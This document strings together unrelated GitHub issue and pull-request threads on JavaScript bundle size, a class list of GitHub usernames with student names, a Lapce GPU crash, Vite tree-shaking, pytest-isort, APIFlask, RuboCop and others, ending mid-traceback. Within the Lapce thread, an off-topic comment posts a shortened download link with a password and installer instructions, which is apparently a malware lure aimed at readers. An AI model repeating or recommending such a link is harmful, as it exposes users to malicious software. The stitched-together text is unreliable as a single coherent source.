Reduce bundle size

I believe using an array for _sources, _observers, _children, and _handlers, and an object for _context  will reduce bundle size significantly, provides cleaner types and remove null checking conditionals that lie on the hot execution path since those values end up being an array, or object if it is context, almost always.
Now a simple push and pop will suffice for many of the actions. Setting a context value will be reduced to a simple assignment, no need to create new object when inserting a new value, and we can take advantage of recursion for scope related actions like disposal.

I don’t follow. We’re already using arrays for the mentioned fields. Not sure how this relates to bundle size either.

Let me make it more concrete using children as an example.
In current implementation you are using null as the default value for the _children field, then assign the first child as the value and  then move to array when there are more than one child.
Here is how append is implemented:
ScopeProto.append = function (this: Scope, child: Scope) {
  child[SCOPE] = this;

  if (!this._children) {
    this._children = child;
  } else if (Array.isArray(this._children)) {
    this._children.push(child);
  } else {
    this._children = [this._children, child];
  }

  child._context =
    child._context === defaultContext ? this._context : { ...this._context, ...child._context };

  if (this._handlers) {
    child._handlers = !child._handlers ? this._handlers : [...child._handlers, ...this._handlers];
  }
};

If we use an array for the _children value, we can remove half of the code:
ScopeProto.append = function (this: Scope, child: Scope) {
  child[SCOPE] = this;
  this._children.push(child);
  child._context = {};
  this._handlers = [];
};

Now dispose simply becomes poping _children and disposing them. No need to check if it is an array, or a single scope or a child.

We have to balance memory usage. I test all of this in our video player library and in the JS framework benchmark. You will get very slightly smaller bundle size and better perf with your suggestion at the cost of increased memory usage at scale.


Task 01 -- Create GitHub account and clone some repositories

Create new GitHub account here.
For backup course materials and communication fork this repository.
Navigate to repository py-jupyter-nb and fork it.
Navigate to repository python and fork it.
Report link of your GitHub user page below. Just put a single line of that link, e.g.

https://github.com/dudung

https://github.com/zains2itbdatascience

https://github.com/aliefpascal

https://github.com/moestika

https://github.com/zakyerdiansyah

https://github.com/tororahmanz

https://github.com/listynirmala
an Listyani Nirmalasari

https://github.com/Yaksuwa
an Yandika Restu Wara

https://github.com/aad169
an Ahmad Mushawir

https://github.com/eidelbert
an Eidelbert Suherianto Sinaga

https://github.com/nilampuspita
an Dyah Puspita Sari Nilam Utami

https://github.com/rizkinovitriputri
an Rizki Novitri Susanti Setia Putri

https://github.com/galiharisona
an Galih Arisona

https://github.com/inassuha
an Inas Suha Lailah Qodriyah

https://github.com/ghafuraws
an Muhammad Ghafur

an Anton Sujarwo

https://github.com/adityaadiaksa
A/n Aditya Adiaksa

https://github.com/zuhrirachman
a.n. Zuhri Arieffasa Suffaturrachman

https://github.com/SatrioYolandanu
a.n Satrio Yolandanu

https://github.com/veralaksa
a.n Vera Elysa Risti

https://github.com/titobagasw
a.n. Tito Bagaswara

https://github.com/Andinikma19
a.n Andi Nikma Srihandayani

https://github.com/dwy-prasat
a.n Dwi Putra Prasatya

https://github.com/afinsani
an Akhmad Faeda Insani-20922313


Example to use regexMapper

I'm trying to use regexMapper in my config file but not able to get it working. It says the following
"No routes found from RouteLocator" when I see the logs.
Can anyone point me to an example or some resources?

See https://github.com/spring-cloud/spring-cloud-netflix/blob/243c13b7eeaa39023bcd55caa17a814fbf4ef9ff/docs/src/main/asciidoc/spring-cloud-netflix.adoc#embedded-zuul-reverse-proxy
Search for regexMapper.
Also see https://github.com/spring-cloud/spring-cloud-netflix/blob/master/spring-cloud-netflix-core/src/test/java/org/springframework/cloud/netflix/zuul/filters/discovery/DiscoveryClientRouteLocatorTests.java


Release chinook-data-hsqldb 0.1 on Maven Central

Release chinook-data-hsqldb 0.1 on Maven Central.

Version 0.1 was released on Maven Central on 2018-03-01. See a5ccb50bccf84d8d7fd44fdabeb2a9afa2bd51cb.


FR: Add additional information to status updates

It'd be useful and convenient if you add the ETA to finish print into status updates which are sent on completion percentage and print height change

Pls add also the absolute time left to print.

@zztopper  take a look at 9033d73f74578de18efbcab56e80935140cf548c

Will do, I promise)


Lapce doesn't start on GPU with incomplete Vulkan support

Let me start by saying a big thank you for creating Lapce. It is phenomenally good. I genuinely love it.
Lapce Version
0.4.2+Nightly.76ed075
System information

Fedora Linux 40 (Workstation Edition)
GNOME 46
Wayland
Kernel 6.10.6
x86_64

Describe the bug
Lapce doesn't start. As a workaround I enable CPU-only rendering using tiny-skia with FLOEM_FORCE_TINY_SKIA=1 lapce which works fine but feels slow to me.
I would like Lapce to run GPU accelerated. Can I somehow tell Lapce to use OpenGL ES instead of Vulkan?
Additional information
I am using a laptop from circa 2014 with Intel Pentium N3520 (Intel Ark) and Intel HD Graphics (Bay Trail).
When I run RUST_BACKTRACE=1 lapce --wait I get:
MESA-INTEL: warning: Bay Trail Vulkan support is incomplete
2024-08-27T14:38:44.067480Z ERROR wgpu_core::device::global: 1567: Device::create_render_pipeline error: Internal error in ShaderStages(VERTEX) shader: The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)
2024-08-27T14:38:44.067540Z ERROR wgpu::backend::wgpu_core: 1217: Shader translation error for stage ShaderStages(VERTEX): The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)
2024-08-27T14:38:44.070520Z ERROR wgpu::backend::wgpu_core: 1218: Please report it to https://github.com/gfx-rs/wgpu
2024-08-27T14:38:44.070644Z ERROR wgpu::backend::wgpu_core: 3410: Handling wgpu errors as fatal by default
thread 'main' panicked at /cargo/registry/src/index.crates.io-6f17d22bba15001f/wgpu-22.0.0/src/backend/wgpu_core.rs:3411:5:
wgpu error: Validation Error

Caused by:
  In Device::create_render_pipeline
    Internal error in ShaderStages(VERTEX) shader: The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)

stack backtrace:
   0: rust_begin_unwind
   1: core::panicking::panic_fmt
   2: core::ops::function::Fn::call
   3: <T as wgpu::context::DynContext>::device_create_render_pipeline
   4: floem_vger::Vger::new
   5: floem::context::PaintState::new
   6: floem::app_handle::ApplicationHandle::new_window
   7: lapce_app::app::launch
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Running wgpu-info
MESA-INTEL: warning: Bay Trail Vulkan support is incomplete
Adapter 0:
	         Backend: Vulkan
	            Name: llvmpipe (LLVM 18.1.6, 128 bits)
	        VendorID: 0x10005
	        DeviceID: 0x0
	            Type: Cpu
	          Driver: llvmpipe
	      DriverInfo: Mesa 24.1.6 (LLVM 18.1.6)
	WebGPU Compliant: true
Adapter 1:
	         Backend: Gl
	            Name: Mesa Intel(R) HD Graphics (BYT)
	        VendorID: 0x8086
	        DeviceID: 0x0
	            Type: IntegratedGpu
	          Driver: <empty>
	      DriverInfo: 4.2 (Core Profile) Mesa 24.1.6
	WebGPU Compliant: false

Repeated MESA-INTEL: warning: Bay Trail Vulkan support is incomplete hints that the integrated graphics doesn't fully support Vulkan.
glxinfo outputs
OpenGL ES profile version string: OpenGL ES 3.0 Mesa 24.1.6

which gives me hope because that indicates the integrated graphics supports OpenGL ES 3.0.
Supported Platforms for wgpu lists OpenGL ES 3.0.
wgpu's Readme mentions support for setting the Environment Variable WGPU_BACKEND=gl, but it doesn't seem to have any effect on Lapce.
I would like Lapce to run GPU accelerated. Can I somehow tell Lapce to use OpenGL ES backend instead of Vulkan?

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Thanks for your interest!
I just tried WGPU_BACKEND=gl and it does take effect in some way, because wgpu tried to init with opengl but failed so it failed over to tinyskia soft renderer. Was it the case for you as well?

I appreciate the quick response @dzhou121.
I tried running WGPU_BACKEND=gl RUST_BACKTRACE=1 lapce --wait and I got almost the same error:
2024-08-28T16:30:40.314360Z ERROR wgpu_core::device::global: 1567: Device::create_render_pipeline error: Internal error in ShaderStages(VERTEX) shader: The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)
2024-08-28T16:30:40.314531Z ERROR wgpu::backend::wgpu_core: 1217: Shader translation error for stage ShaderStages(VERTEX): The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)
2024-08-28T16:30:40.314663Z ERROR wgpu::backend::wgpu_core: 1218: Please report it to https://github.com/gfx-rs/wgpu
2024-08-28T16:30:40.314807Z ERROR wgpu::backend::wgpu_core: 3410: Handling wgpu errors as fatal by default
thread 'main' panicked at /cargo/registry/src/index.crates.io-6f17d22bba15001f/wgpu-22.0.0/src/backend/wgpu_core.rs:3411:5:
wgpu error: Validation Error

Caused by:
  In Device::create_render_pipeline
    Internal error in ShaderStages(VERTEX) shader: The selected version doesn't support Features(DYNAMIC_ARRAY_SIZE)

stack backtrace:
   0: rust_begin_unwind
   1: core::panicking::panic_fmt
   2: core::ops::function::Fn::call
   3: <T as wgpu::context::DynContext>::device_create_render_pipeline
   4: floem_vger::Vger::new
   5: floem::context::PaintState::new
   6: floem::app_handle::ApplicationHandle::new_window
   7: lapce_app::app::launch
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

The first line from the original Backtrace MESA-INTEL: warning: Bay Trail Vulkan support is incomplete is missing.
So you are probably right. It seems wgpu didn't use Vulkan this time. How can I tell that wgpu tried to use OpenGL ES?
In any case Lapce didn't start and there was no failing over to tiny-skia.
What shall I try next?

Lapce relies on wgpu so if wgpu panics, we probably have nothing we can do at our side.
I'd suggest try to run the simplest example in wgpu repo and see if that crashes? If it doesn't, Lapce probably is using some gpu api set that your gpu driver doesn't support somehow.


Vite is not tree-shakable for imported node_modules

Describe the bug
Npm install a library that IS tree-shakable and import it. Only import 1 thing from that lib, but the whole lib is included.
To reproduce

Create a new Vite project npm create vite@latest, select React with JS.
Import a tree-shakable lib, ex: npm install @fluentui/react-icons
Only import 1 thing, put that in main.jsx (like this: https://stackblitz.com/edit/react-kdvfzq). Example:

import { Info20Regular } from '@fluentui/react-icons';
console.log(Info20Regular);

Create the bundle via npm run build.
Look up dist/assets/index.hash.js, CTRL+F ChevronDown20Regular which is not imported, you'll find this is included in the bundle!

Also, I did the same thing as above with create-react-app, and they DID NOT include un-imported icons.
So I think this is a problem with Vite's build system.
Reproduction
https://stackblitz.com/edit/react-kdvfzq
System Info
System:
    OS: macOS 12.3.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
    Memory: 1.80 GB / 32.00 GB
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 14.16.1 - ~/.volta/tools/image/node/14.16.1/bin/node
    Yarn: 1.22.10 - ~/.volta/tools/image/yarn/1.22.10/bin/yarn
    npm: 6.14.12 - ~/.volta/tools/image/node/14.16.1/bin/npm
  Browsers:
    Brave Browser: <IP_ADDRESS>
    Chrome: 99.0.4844.84
    Chrome Canary: 99.0.4828.0
    Edge: 100.0.1185.29
    Safari: 15.4
  npmPackages:
    @vitejs/plugin-react: ^1.0.7 => 1.3.0
    vite: ^2.9.1 => 2.9.1

Used Package Manager
npm
Logs
No response
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

@sodatea how did u run npm run build on stackblitz? i don't see any terminal there

do u mind showing where exactly is the terminal button on the page? I chose vite but don't see it https://stackblitz.com/edit/vitejs-vite-addxrn?file=index.html&terminal=dev

It's right there. But you must use a Chromium-based browser: https://blog.stackblitz.com/posts/webcontainers-out-of-beta/

@sodatea I know why. With<EMAIL_ADDRESS>the tree-shaking fails. https://stackblitz.com/edit/vitejs-vite-9nbcad?file=dist%2Fassets%2Findex.ca6823ce.js&terminal=dev
I tried the same with create-react-app, tree-shaking works.

See https://github.com/microsoft/fluentui/issues/12953
That version:

Incorrectly configured its sideEffects field in package.json. Should be false instead of "false";
Did not have /*#__PURE__*/ annotations for the wrapIcon calls.

Therefore Rollup cannot tree-shake modules that have these calls, because it's not sure whether wrapIcon is a pure function.


pytest-isort causes pytest to swallow and ignore UnicodeDecodeErrors

I have a really weird issue that may or may not be related to pytest-isort, but appears to be triggered by it.
Given this test case in a file named test.py,
import unittest

class UnicodeTest(unittest.TestCase):
    def test(self):
        s = 'Caf\xc3\xa9'
        with self.assertRaises(UnicodeDecodeError):
            s.encode('utf-8')

> pip install pytest==3.6.0
...
> pytest test.py
======================================================================== test session starts =========================================================================
platform darwin -- Python 2.7.14, pytest-3.6.0, py-1.5.3, pluggy-0.6.0
rootdir: /Users/sam/testcase, inifile:
collected 1 item

test.py .                                                                                [100%]

====================================================================== 1 passed in 0.05 seconds ======================================================================

All is fine.
However, as soon as I install pytest-isort, this happens -
> pip install pytest-isort
...
> pytest test.py
======================================================================== test session starts =========================================================================
platform darwin -- Python 2.7.14, pytest-3.6.0, py-1.5.3, pluggy-0.6.0
rootdir: /Users/sam/testcase, inifile:
plugins: isort-0.2.0
collected 1 item

test.py F                                                                                [100%]

============================================================================== FAILURES ==============================================================================
___________________________________________________________________________ TestTest.test ____________________________________________________________________________

self = <test.TestTest testMethod=test>

    def test(self):
        s = 'Caf\xc3\xa9'
        with self.assertRaises(UnicodeDecodeError):
>           s.encode('utf-8')
E           AssertionError: UnicodeDecodeError not raised

test.py:8: AssertionError
====================================================================== 1 failed in 0.08 seconds ======================================================================

For some reason, the existence of pytest-isort causes the UnicodeDecodeError exception to be swallowed. The UnicodeDecodeError is expected because s is a str containing non-ASCII characters, so when asking to encode it to UTF-8, it will first attempt to implicitly decode using ASCII before encoding to UTF-8.
Executing pip uninstall pytest-isort makes the test pass again. I've also confirmed that this happens on Linux as well.
Any thoughts?
If it helps, here's pip freeze -
apipkg==1.4
atomicwrites==1.1.5
attrs==18.1.0
execnet==1.5.0
funcsigs==1.0.2
futures==3.2.0
isort==4.3.4
more-itertools==4.1.0
pluggy==0.6.0
py==1.5.3
pytest==3.6.0
pytest-cache==1.0
pytest-isort==0.2.0
six==1.11.0

Hm, interesting. Why should a "encode" call raise a UnicodeDecodeError?

The UnicodeDecodeError is expected because s is a str containing non-ASCII characters, so when asking to encode it to UTF-8, it will first attempt to implicitly decode using ASCII before encoding to UTF-8.
This is Python 2; this doesn't happen in Python 3 because of the amended string/bytestring types.

@stephrdev I've tracked this down - it's because isort is changing the environment default encoding on import 😐 . Nothing to do with pytest-isort, so I'm closing.
Thanks for having a look though.


Subclassed MethodView resources cannot be added as URL rules

If you attempt to subclass an instance of MethodView with existing URL methods, perhaps with some extra logic, that subclassed view throws an error when APIFlask.add_url_rule gets called.
In [1]: from apiflask import APIFlask

In [2]: from flask.views import MethodView

In [3]: class Foo(MethodView):
   ...:     text = "This comes from `Foo`"
   ...:
   ...:     def get(self):
   ...:         return self.text
   ...:

In [4]: class FooSubclass(Foo):
   ...:     text = "This comes from `FooSubclass`"
   ...:

In [5]: app = APIFlask('mock_app')

In [6]: app.add_url_rule('/foo', view_func=FooSubclass.as_view('foo'))
---------------------------------------------------------------------------
KeyError                                  Traceback (most recent call last)
<ipython-input-6-82066accc4da> in <module>
----> 1 app.add_url_rule('/foo', view_func=FooSubclass.as_view('foo'))

.../lib/python3.8/site-packages/apiflask/route.py in add_url_rule(self, rule, endpoint, view_func, provide_automatic_options, **options)
     92                 # record spec for MethodView class
     93                 if hasattr(self, 'enable_openapi') and self.enable_openapi:
---> 94                     view_func = record_spec_for_view_class(view_func, view_class)  # type: ignore
     95
     96         super(cls, self).add_url_rule(

.../lib/python3.8/site-packages/apiflask/route.py in record_spec_for_view_class(view_func, view_class)
     40         for method_name in view_class.methods:  # type: ignore
     41             # method_name: ['GET', 'POST', ...]
---> 42             method = view_class.__dict__[method_name.lower()]
     43             # collect spec info from class attribute "decorators"
     44             if hasattr(view_func, '_spec') and view_func._spec != {}:

KeyError: 'get'

In [7]: app.add_url_rule('/foo', view_func=Foo.as_view('foo'))

I would expect the registration of FooSubclass on line 8 to not fail.
This is because on this line, the method is being accessed via __dict__ instead of getattr.
I am happy to open a PR fixing this bug. Should regression tests be added in tests/test_app.py?
Environment:

Python version: 3.8.18
Flask version: 2.2.2
APIFlask version: 2.2.1

Hi, I'm happy to review a PR. The test should be added to https://github.com/apiflask/apiflask/blob/main/tests/test_route.py. Thanks!


[Fix #12353] Add new Style/SuperWithArgsParentheses cop

Fixes #12353.
This PR adds new Style/SuperWithArgsParentheses cop
# bad
super name, age

# good
super(name, age)

The cop is named Style/SuperWithArgsParentheses, contrasting with Style/MethodCallWithArgsParentheses. Unlike Style/MethodCallWithArgsParentheses, which requires consideration for no-parentheses usage in DSL. super is not used as a DSL, so it is enabled by default.
For these reasons, it has been made into a separate, new cop.

Before submitting the PR make sure the following are checked:

[x] The PR relates to only one subject with a clear title and description in grammatically correct, complete sentences.
[x] Wrote good commit messages.
[x] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[x] Added tests.
[x] Ran bundle exec rake default. It executes all tests and runs RuboCop on its own code.
[x] Added an entry (file) to the changelog folder named {change_type}_{change_description}.md if the new code introduces user-observable changes. See changelog entry format for details.

Looks good! Thanks!


Disable use-std-function.swift on ubuntu-24.10

The test is failing because a templated constructor of std::function with an rvalue-reference parameter is called, which isn't supported yet.
rdar://137637142

@swift-ci please test

@swift-ci please build toolchain Ubuntu 24.04

@swift-ci Please test macOS platform

The test failures on macOS look unrelated to the changes made in this PR.
Test Case '-[SwiftDocCTests.DeclarationsRenderSectionTests testAlternateDeclarations]' failed (1.482 seconds).
Test Suite 'DeclarationsRenderSectionTests' failed at 2024-10-15 21:46:27.535.
	 Executed 1 test, with 1 failure (0 unexpected) in 1.482 (1.482) seconds
Test Suite 'SwiftDocCPackageTests.xctest' failed at 2024-10-15 21:46:27.536.
	 Executed 1 test, with 1 failure (0 unexpected) in 1.482 (1.483) seconds
Test Suite 'Selected tests' failed at 2024-10-15 21:46:27.536.
	 Executed 1 test, with 1 failure (0 unexpected) in 1.482 (1.484) seconds

@swift-ci Please test macOS platform


Unpublish pages added for Self Assessment A/B test

Trello: https://trello.com/c/xdmgIGIO
Add a rake task to unpublish the three pages we added as part of the
Self Assessment A/B test. That test finished on 17/11/2017 and these
particular pages are no longer needed.

[x] Tested on integration

Thanks @emmabeynon. Will change it.


Drop wood production?

Did we decide to drop wood production from the list of ESs it being basically "conservation incompatible"? @wverhagen ?

yes we did.
Willem

Op 18 jun. 2017, om 21:00 heeft Joona Lehtomäki<EMAIL_ADDRESS>het volgende geschreven:
Did we decide to drop wood production from the list of ESs it being basically "conservation incompatible"? @wverhagen https://github.com/wverhagen ?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/VUEG/bdes_to/issues/5, or mute the thread https://github.com/notifications/unsubscribe-auth/ARgB2fhuAc-qp1vcCln2pHGOEO1tkfsxks5sFXPIgaJpZM4N9k1y.

Great, thanks!


Bug: Error if label includes "="

I have a document with a theorem labeled as result:bound on distance traveled by solution to dot x = f(x). When I use \cref[UsedBy]{result:bound on distance traveled by solution to dot x = f(x)} the following error occurs:
LaTeX3: Missing/extra '=' in
(LaTeX3)	'UsedBy@result:boundondistancetraveledbysolutiontodotx=f(x)=5'
(LaTeX3)	(in '..._keyval:Nn')

No error occurs if I use \cref{result:bound on distance traveled by solution to dot x = f(x)}.
Here's the relevant portion of my document configuration:
\usepackage[noabbrev, capitalise, nameinlink]{cleveref}

    % Enable back reference to items that we reference.
    \usepackage{cleveref-usedon}
    \RenewDocumentCommand{\UsedByMessage}{ m }{%
        % Using "\leavevmode" causes the margin note to be aligned with the top of the paragram. See https://tex.stackexchange.com/a/16161/153678
        \leavevmode\marginpar{\tiny[#1]}%
    }

This is caused because = is used to match the keys and values in the property. Adding an extra group around the key name for protection would solve the problem.
\iow_now:cx { @auxout }
   {
      \prop_gput_from_keyval:Nn \token_to_str:N \g__UsedOn_kv_prop
         {{##1}=##2} % <-- here
   }


[feature] Disable the automatic reset of appearance settings.

I'm using jadx-gui-1.4.7-with-jre-win. Whenever I restart jadx, my appearance settings like theme and font get automatically reset. Do you know how I can turn this off?

@geordo can you check log viewer for errors after jade open? It might be caused by settings load/parsing.

Sorry, I am late in replying. This is a log viewer.

@geordo Thanks, but I think skylot was asking for the log from a start when your appearance settings are reset. Only on such a Jadx run there may be log entries regarding appearance settings reset. If your appearance settings had been reverted some time ago you won't find anything in the log.


Make sure bad qastle doesn't prevent the query from going through

The query has been qastle up to now - but that isn't always the case. Make sure non-standard queries make it through. And make sure there is a test that assures this feature works.

This is presumably now handled by each of the codegens.


Unable to deploy new version of Entitlement Process as another entitlement process is already using this name

Summary
We're attempting to deploy a new v2 version of an existing Entitlement Process.  The deployment fails with the message "Another entitlement process is already using this name. Try a different name." -- but we're deploying a second version of the existing Entitlement Process.
If we manually create a v2 in the target org, but do not link it to an Entitlement - the deployment then works as expected.
Steps To Reproduce
Basic package deploy fails - with something like
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">
	<types>
        <members>someslaprocess_v2</members>
        <name>EntitlementProcess</name>
    </types>
	<version>58.0</version>
</Package>

Expected result
Deployment should happen, new version of Entitlement Process should be created.
Actual result
PROJECT PATH                                                                                ERRORS
──────────────────────────────────────────────────────────────────────────────────────────  ─────────────────────────────────────────────────────────────────────────────
force-app\main\default\entitlementProcesses\someslaprocess_v2.entitlementProcess-meta.xml   Another entitlement process is already using this name. Try a different name.
System Information

PS C:\VSCode\salesforce-operations> sf version --verbose --json
{
  "cliVersion"<EMAIL_ADDRESS>  "architecture": "win32-x64",
  "nodeVersion": "node-v18.15.0",
  "osVersion": "Windows_NT 10.0.19045",
  "shell": "cmd.exe",
  "rootPath": "C:\\Users\\anderg4\\AppData\\Local\\sf\\client\\2.5.8-cb030e8",
  "pluginVersions": [
    "@oclif/plugin-autocomplete 2.3.6 (core)",
    "@oclif/plugin-commands 2.2.22 (core)",
    "@oclif/plugin-help 5.2.17 (core)",
    "@oclif/plugin-not-found 2.3.37 (core)",
    "@oclif/plugin-plugins 3.2.6 (core)",
    "@oclif/plugin-search 0.0.22 (core)",
    "@oclif/plugin-update 3.1.32 (core)",
    "@oclif/plugin-version 1.3.8 (core)",
    "@oclif/plugin-warn-if-update-available 2.0.48 (core)",
    "@oclif/plugin-which 2.2.30 (core)",
    "@salesforce/cli 2.5.8 (core)",
    "apex 2.3.10 (core)",
    "auth 2.8.12 (core)",
    "data 2.5.6 (core)",
    "deploy-retrieve 1.17.5 (core)",
    "info 2.6.39 (core)",
    "limits 2.3.30 (core)",
    "login 1.2.26 (core)",
    "org 2.10.0 (core)",
    "schema 2.3.23 (core)",
    "settings 1.4.25 (core)",
    "sobject 0.2.4 (core)",
    "source 2.10.31 (core)",
    "telemetry 2.3.0 (core)",
    "templates 55.5.10 (core)",
    "trust 2.6.1 (core)",
    "user 2.3.28 (core)"
  ]
}

Additional information

@anderg4  you need a bit of scripting to do this.  This is how we handled in dx@scale for instance
https://medium.com/@gnemiq/salesforce-entitlement-handling-9e69735e3687

Hi @azlam-abdulsalam, and thanks for the link.
To be honest, I'm not sure what this article means when it says "turn on versioning" - but I can see the point.  As another work around we've already found you can just create a new version in the target org with the same version number and then deploy over the to of it.  It then doesn't seem to care that the "VersionMaster" is not the same/maintained between different orgs.  Surely the scenario that is described on that link is still a bug that needs to be fixed?
The metadata which we retrieve is supposed to be able to be deployed to another org, by design.  This used to work fine - we have done it many times in the past for new versions - but "something" has broken it.  My assumption is that they've started to try and be clever and use VersionMaster rather than the base API Name of the Entitlement Process - and that it's different between the orgs.  Our pipeline consists of validations &/or deployments to 6 different orgs - so if the VersionMaster is different in all of them then it's a bit of a problem.  Suggestion: they should just put it back like it was - it worked fine (until it was in use, obvs).
#rant
There is literally no point to sf/sfdx if you cannot do retrieve/deploy between orgs consistently.  The whole CI/CD concept is based on it.
#endrant

@anderg4 - when you say, "This used to work fine..." - are you referring to a CLI version that it used to work with or an org update that changed the behavior?  To me, it looks like the latter.  If so, the CLI can't fix this and it's an issue for support who can pass this to the correct server side team.

Closing as stale


CoW Stop Loss App

Entry type

New addition

App info
URL: https://www.stoploss.bleu.builders/
Name: CoW Stop Loss App
Description: UI for creating and managing stop loss orders on CoW Protocol
Icon (PNG, 180x180):

Homepage:
Twitter: https://x.com/bleubuilders
GitHub: https://github.com/bleu
Discord: https://discord.gg/HP6y726M
App supports batching multiple transactions via Safe: yes
Supported networks
- Mainnet
- Sepolia
- Gnosis Chain
- Arbitrum

Revision checks

[x] Used smart contracts were audited.
[x] You have implemented the app using the Safe Apps SDK
[x] Your Safe App includes a manifest.json file at the root with the required data – please paste the link to manifest.json here – apps without a manifset WILL NOT be accepted.
[x] The app can be loaded as a custom Safe App in the Apps section of https://app.safe.global.
[x] The app auto-connects to the Safe as a wallet
[x] It doesn't try to connect to the browser wallet (e.g. MetaMask)
[x] You are able to trigger and execute one transaction with a Safe.
[x] RPC requests are optimized (not triggering many requests in a very short time period).

Audit document
Audits

Code for review
https://github.com/bleu/cow-stop-loss
Team information
Company: bleu builders
Official website: https://bleu.builders/
Point of contact: Telegram @yvesfracari
Email/Telegram<EMAIL_ADDRESS>

This submission was reviewed and approved by the product team.

Verified and can be added on prod

I added the app to prod.
Thanks for your submission!


Performance/StringInclude is recommending I replace match? with include? on a symbol.

I generally understand the purpose of replace #match? with #include? for a literal only regex, but on symbols, only the method #match? is defined and not #include?

Expected behavior
def clean_up_symbol(symbol)
  symbol.slice(0, 10) if symbol.match?(/foo_bar/)
end

Actual behavior
def clean_up_symbol(symbol)
  symbol.slice(0, 10) if symbol.match?(/foo_bar/)
end

example.rb:2:26: C: Performance/StringInclude: Use String#include? instead of a regex match with literal-only pattern.
  symbol.slice(0, 10) if symbol.match?(/foo_bar/)
                         ^^^^^^^^^^^^^^^^^^^^^^^^

Steps to reproduce the problem
This can be reproduced as above? I'm not entirely sure how to be describe reproduction.
RuboCop version
Include the output of rubocop -V or bundle exec rubocop -V if using Bundler. Here's an example:
$ bundle exec rubocop -V
0.89.1 (using Parser <IP_ADDRESS>, rubocop-ast 0.3.0, running on ruby 2.7.1 x86_64-darwin19)

From Gemfile.lock
rubocop-performance (1.7.1)

RuboCop can only do static analysis. It can not know what type of object symbol is during runtime. (Despite the variable being named symbol. 🙂 This is a general limitation of what can be done statically, and applies to any object that implements a #match? but not an #include? method.

I would go with
symbol.slice(0, 10) if symbol.to_s.include?('foo_bar')

Symbol#match? converts its argument to a string anyway, so there should be no overhead by calling to_s explicitly.

This cop has been marked SafeAutoCorrect: false. I will close this issue. Thank you.


rgrgrgrg

I wonder why there is so many of those weird pull requests always adding premake files?

@LesterDigital Thank you for this PR. I won't merge additional build setups unless they also come with an active maintainer, but I am working on making it easier to build GLFW without the official CMake files.


Port Nouveau.

For the OS to get graphical, we need some sort of a graphics driver. Currently nvidia seems like a nice choice because that's what we have in our systems. So nvidia it is.
But nvidia is closed source. So the closest next thing is the nouveau project. So that's what we do.
Kind of big, but it shall be done with patience.

@chronium Wouldn't it be easier to port mesa and the Intel driver stack ?

@bararchy that would probably be easier.
The main reason for wanting to implement nouveau first is that @chronium and I both own nvidia GPUs, so that way we can test the graphics on real hardware.

@SplittyDev What ever feels better to you :) I use Nvidia too, so all good from my side ;)

@bararchy The first port will of course be MESA so we get some software rendering to test everything. Afterwards, when it works, we'll port more stuff like Nouveau and such. But first, it's mandatory we start with MESA. To be honest, MESA would be a good starting point to get a compositor up. MESA, SDL or Cairo, and then work with them


Missing Integration and Error when doing manual config

Version of the custom_component
v1.2.14
Describe the bug
I am currently running Supervisor 2022.08.3 on Ubuntu 20.04.4 LTS and its installed in a Docker container.  I was able to add the custom repository in HACS and then was able to download/install the Tapo Controller integration from within HACS.  I have restarted HA and also restarted the docker and rebooted the whole machine, but I am unable to see the Tapo Controller integration in the HA integrations section when I click on the button to add it.  I have watched and followed your installation steps and videos.  I then tried to add code to configuration.yaml directly for the light I am trying to connect, but I am seeing an error in the log.  I will paste this in the debug section.  This is the config I added:
light:

platform: tapo
host: <IP_ADDRESS>
username: ***
password: ***

the IP above is the IP of one of my bulbs.
Debug log
Logger: homeassistant.components.light
Source: helpers/update_coordinator.py:178
Integration: Light (documentation, issues)
First occurred: 12:26:04 (1 occurrences)
Last logged: 12:26:04
Error while setting up tapo platform for light
Traceback (most recent call last):
File "/config/custom_components/tapo/common_setup.py", line 96, in _update_with_fallback
return await self.api.get_state()
File "/usr/local/lib/python3.10/site-packages/plugp100/api.py", line 89, in get_state
state=await self.get_state_as_dict(),
File "/usr/local/lib/python3.10/site-packages/plugp100/api.py", line 213, in get_state_as_dict
return await self._execute_method_request(device_info_method)
File "/usr/local/lib/python3.10/site-packages/plugp100/api.py", line 225, in _execute_method_request
dim_encrypted = self.tp_link_cipher.encrypt(jsons.dumps(method))
AttributeError: 'NoneType' object has no attribute 'encrypt'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/config/custom_components/tapo/common_setup.py", line 90, in _async_update_data
return await self._update_with_fallback()
File "/config/custom_components/tapo/common_setup.py", line 99, in _update_with_fallback
await self.api.login()
File "/usr/local/lib/python3.10/site-packages/aiohttp/client.py", line 535, in _request
conn = await self._connector.connect(
File "/usr/local/lib/python3.10/site-packages/aiohttp/connector.py", line 542, in connect
proto = await self._create_connection(req, traces, timeout)
File "/usr/local/lib/python3.10/site-packages/aiohttp/connector.py", line 907, in _create_connection
_, proto = await self._create_direct_connection(req, traces, timeout)
File "/usr/local/lib/python3.10/site-packages/aiohttp/connector.py", line 1175, in _create_direct_connection
transp, proto = await self._wrap_create_connection(
File "/usr/local/lib/python3.10/site-packages/aiohttp/connector.py", line 986, in _wrap_create_connection
return await self._loop.create_connection(*args, **kwargs)  # type: ignore[return-value]  # noqa
File "/usr/local/lib/python3.10/asyncio/base_events.py", line 1049, in create_connection
sock = await self._connect_sock(
